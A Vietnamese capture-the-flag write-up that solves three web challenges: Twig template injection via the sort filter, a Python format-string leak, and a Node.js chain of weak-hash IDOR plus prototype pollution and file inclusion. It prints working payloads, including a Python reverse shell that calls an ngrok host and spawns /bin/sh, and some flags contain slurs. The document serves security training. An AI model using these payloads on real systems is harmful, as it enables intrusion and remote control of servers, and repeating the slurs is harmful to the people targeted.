# WEB CHALLENGES
### Baby Injection
Khởi đầu bằng 1 form cho phép chúng ta nhập và in ra kí tự đã nhập đó:

Bài này có lỗi XSS nhưng ta sẽ không đi sâu vào việc khai thác, tiến hành thử payload của SSTI:
```php
{{7*7}} //49
{{7*'7'}} //49
//=> Twig Template
```

OK, một hồi vọc vạch Payload và đều trả về `500 Error`, thì mình đoán có thể đã dùng filter. Sau khi đọc hintt sử dụng `sort` thì mình cũng tiến hành đưa payload vào, mình sẽ giải thích qua cơ chế một chút:
```php
{{ [5,8,2,3]|sort|join(', ') }}
// That would output: 2, 3, 5, 8
```
Đi sâu hơn về [sort filter](https://github.com/twigphp/Twig/blob/5b5aea4690f907cc1055bfe5a66e853a3379ceca/src/Extension/CoreExtension.php#L890) trong Twig:
```php=
/**
* Sorts an array.
*
* @param array|\Traversable $array
*
* @return array
*/
function twig_sort_filter(Environment $env, $array, $arrow = null)
{
if ($array instanceof \Traversable) {
$array = iterator_to_array($array);
} elseif (!\is_array($array)) {
throw new RuntimeError(sprintf('The sort filter only works with arrays or "Traversable", got "%s".', \gettype($array)));
}
if (null !== $arrow) {
twig_check_arrow_in_sandbox($env, $arrow, 'sort', 'filter');
uasort($array, $arrow);
} else {
asort($array);
}
return $array;
}
```
Ở line 19, khi `$arrow !== null` thì sẽ gọi đến hàm uasort. Theo trang PHP Manual:
` uasort(array &$array, callable $callback): true`
Gọi đến `callback function` thì ta có thể xem qua ví dụ ở dưới:

Vì vậy, nếu chúng ta đặt một tên hàm PHP dựng sẵn trong tham số `$arrow`, thì hàm đó cũng sẽ được thực thi và các giá trị mảng được truyền vào dưới dạng đối số!
Payload: `{{['ls', '']|sort('system')}}`

Đọc file `flag.txt` và có đáp án.
Flag: `FUSec{Nic3_B1g_n1GG4_w1ll_Pr0t3ct_y0U}`
### Magic 101
Một trang web check qua và không có gì đặc biệt cả, chúng ta sẽ đi tới phần chính là path `/try`:

Sau khi điền vào `Title` và `Content`, trang trả về sẽ setup 2 giá trị:

OK, bài này cũng có XSS nhưng thôi bỏ qua đi :v:. Một bài điên đầu khi test lỗ hổng, sau khi có hint liên quan đến Flask thì test mãi cũng không ra và trả về lỗi:

May mắn là khi mình test `{self}` thì trả về kết quả:

Test dần dần + xì trét thì ta có:

OK sau khi thêm hint và tìm thấy [wu](https://ctftime.org/writeup/27904) thì mình có payload cuối: `{self.__init__.__globals__[secret_function].__code__.co_consts}`
+ `__code__`: truy cập vào thuộc tính của hàm để lấy code object của hàm
+ `co_consts`: Constants
Link thêm: https://book.hacktricks.xyz/generic-methodologies-and-resources/python/bypass-python-sandboxes#dissecting-python-objects
Flag: `FUSec{Br3h_1mA0_ni3C_g4Ys}`
### EHC Social Networks
#### Phase 1
Một bài 'Lồng nhau' do anh `Antoine Nguyễn` ra đề :

Để lên level tiếp theo thì ta cần flag level trước. Cùng xem chức năng trước nào:

Trang web cho phép người dùng nhập tên hiển thị và dòng tweets vào, sau đó dẫn tới trang hiển thị nội dung và tên người nhập:

Nghịch 1 chút ở URL khi thay đổi `status` ta sẽ nhận được cảnh báo `wrong hash!`
Check source nào:
```javascript=
class Tweet {
constructor() {
this.tweets = [];
this.salt = `salt-${crypto.randomBytes(10).toString}`;
}
makeTweet({ name, thoughts }) {
const status = this.tweets.length; // vậy là số lượng status là số lượng tweets đã đăng
this.tweets.push(name+' used to say: <br>"'+thoughts+'"');
return {
status,
hash: this.makeHash(status),
};
}
retrieveTweet({ status, hash }) {
if (hash !== this.makeHash(status)) return { error: 'wrong hash!' };
if (status >= this.tweets.length) return { error: 'no fucking tweet like this!' };
return { tweet_content: this.tweets[status] };
}
makeHash(status) {
return crypto
.createHmac('ripemd160WithRSA', this.salt)
.update(status.toString())
.digest('hex');
}
}
const tw = new Tweet();
tw.makeTweet({ name: "Prime user", thoughts: process.env.FLAG });
app.post('/tweet', (req, res) => {
try{
const thoughts = req.body.thoughts ?? '';
const name = req.body.name ?? '';
if (thoughts && name){
const { status, hash } = tw.makeTweet({ name: name.toString() , thoughts: thoughts.toString() });
res.send(`status=${status}&hash=${hash}`);
return;
}
else {
res.send('Missing');
return;
}
} catch (error){
res.send(error);
}
});
app.get('/get_tweet', (req, res) => {
try{
const { status, hash } = req.query;
const tweet = tw.retrieveTweet({
status: parseInt(status ?? '-1'),
hash: (hash ?? '').toString(),
});
if (tweet.error) {
res.send(tweet.error);
} else {
res.send(tweet.tweet_content);
}
} catch (error){
res.send(error);
}
});
```
+ Ở line 30-31 ta sẽ thấy khởi tạo tweets đầu tiên => Mục đích đọc được tweets này => Line 51-65 là cách đọc tweets => IDOR
+ Line 22-26 là cách tạo mã hash => Mục tiêu biết được `this.salt` => Biết được giá trị hash, thay đổi `status` và có được FLAG.
OK, vậy lỗ hổng bài này nằm ở đâu ? Nó nằm ở chỗ là chúng ta đã gọi hàm sai cách:
`salt-${crypto.randomBytes(10).toString}` : Tham chiếu đến `toString` chứ không gọi hàm `toString()` => Do đó nó sẽ có giá trị salt là như nhau.


OK, vậy encode `salt` rồi đi tìm giá trị của hash với tweets đầu tiên (`status` = 0) nào:


Flag Phase1: `FUSec{tkjs_js_just_pk4s3_0n3_0f_jd0r_dud3}`
#### Phase 2:
Bài này thì chúng ta có Hint liên quan đến LFI và Prototype Pollution, sau khi đọc cả tài liệu do anh `Atoine Nguyễn` chia sẻ thì mình để ý rằng đoạn code `combine` giống như là phiên bản `merge` cũ:
```javascript=
const combine = (sink, source) => { // giống merge phiên bản cũ
for (var property in source) {
if (typeof sink[property] === 'object' && typeof source[property] === 'object') {
combine(sink[property], source[property]);
} else {
sink[property] = source[property];
}
}
return sink
};
```
Điểm qua các đoạn code còn lại:
```javascript=
app.post('/quote1', function (req, res, next) {
try {
const prime_token = req.cookies['prime'];
if (jwt.verify(prime_token, process.env.JWT_SECRET_KEY)){
const Quote = req.body.list.toString();
const getQuote = require("./static/" + Quote);
res.json(getQuote.all());
} else{
return res.status(401).send(error);
}
} catch (error) {
return res.status(401).send(error);
}
})
```
Việc không có validate đầu vào cho list, dẫn tới việc chúng ta có thể `require` lib bất kỳ mà ta muốn.
Ở đây mình sẽ chú ý vào file `changelog.js` vì các lý do sau:
+ Bài viết liên quan RCE: https://book.hacktricks.xyz/pentesting-web/deserialization/nodejs-proto-prototype-pollution/prototype-pollution-to-rce#pp2rce-vuln-child_process-functions
+ Check trong local:
```
$ cd /usr/local/lib/node_modules | grep -r "child_process"
./npm/scripts/changelog.js:const execSync = require('child_process').execSync
```
```javascript=
app.post('/quote2', function (req, res, next) {
try {
const prime_token = req.cookies['prime'];
if (jwt.verify(prime_token, process.env.JWT_SECRET_KEY)){
const Quote1 = require("./static/top-quote-1.js")
const Quote2 = require("./static/top-quote-2.js")
let superQuote = combine(Quote1.all(), Quote2.all())
let data = req.body.data || ""; //data là thứ kiểm soát được
superQuote = combine(superQuote, data);
res.json(superQuote);
} else{
return res.status(401).send(error);
}
} catch (error) {
return res.status(401).send(error);
}
})
```
Việc `combine` các Object được thực hiện 1 cách đệ quy sẽ xảy ra Prototype Pollution:

OK, tiến hành RCE nào. Sau khi thử 1 số payload thì mình sẽ dùng payload này cho `/post2`: (Nhớ đổi `Content-Type`)
```
{
"data": {
"__proto__": {
"2":"; python3 -c 'import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"0.tcp.ap.ngrok.io\",17849));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn(\"/bin/sh\")';"
}
}
}
```
Đến `/quote1` thì ta sẽ điều chỉnh `list`:
`
{"list":"../../../../../usr/local/lib/node_modules/npm/scripts/changelog.js"}`

Sau đó, chúng ta nhận được reverse shell, lấy flag thôi:

Flag Phase2:`FUSec{fr0m_jd0r_t0_pr0t0typ3_p0llutj0n_4nd_lfj_tk3n_rc3_n0d3js}`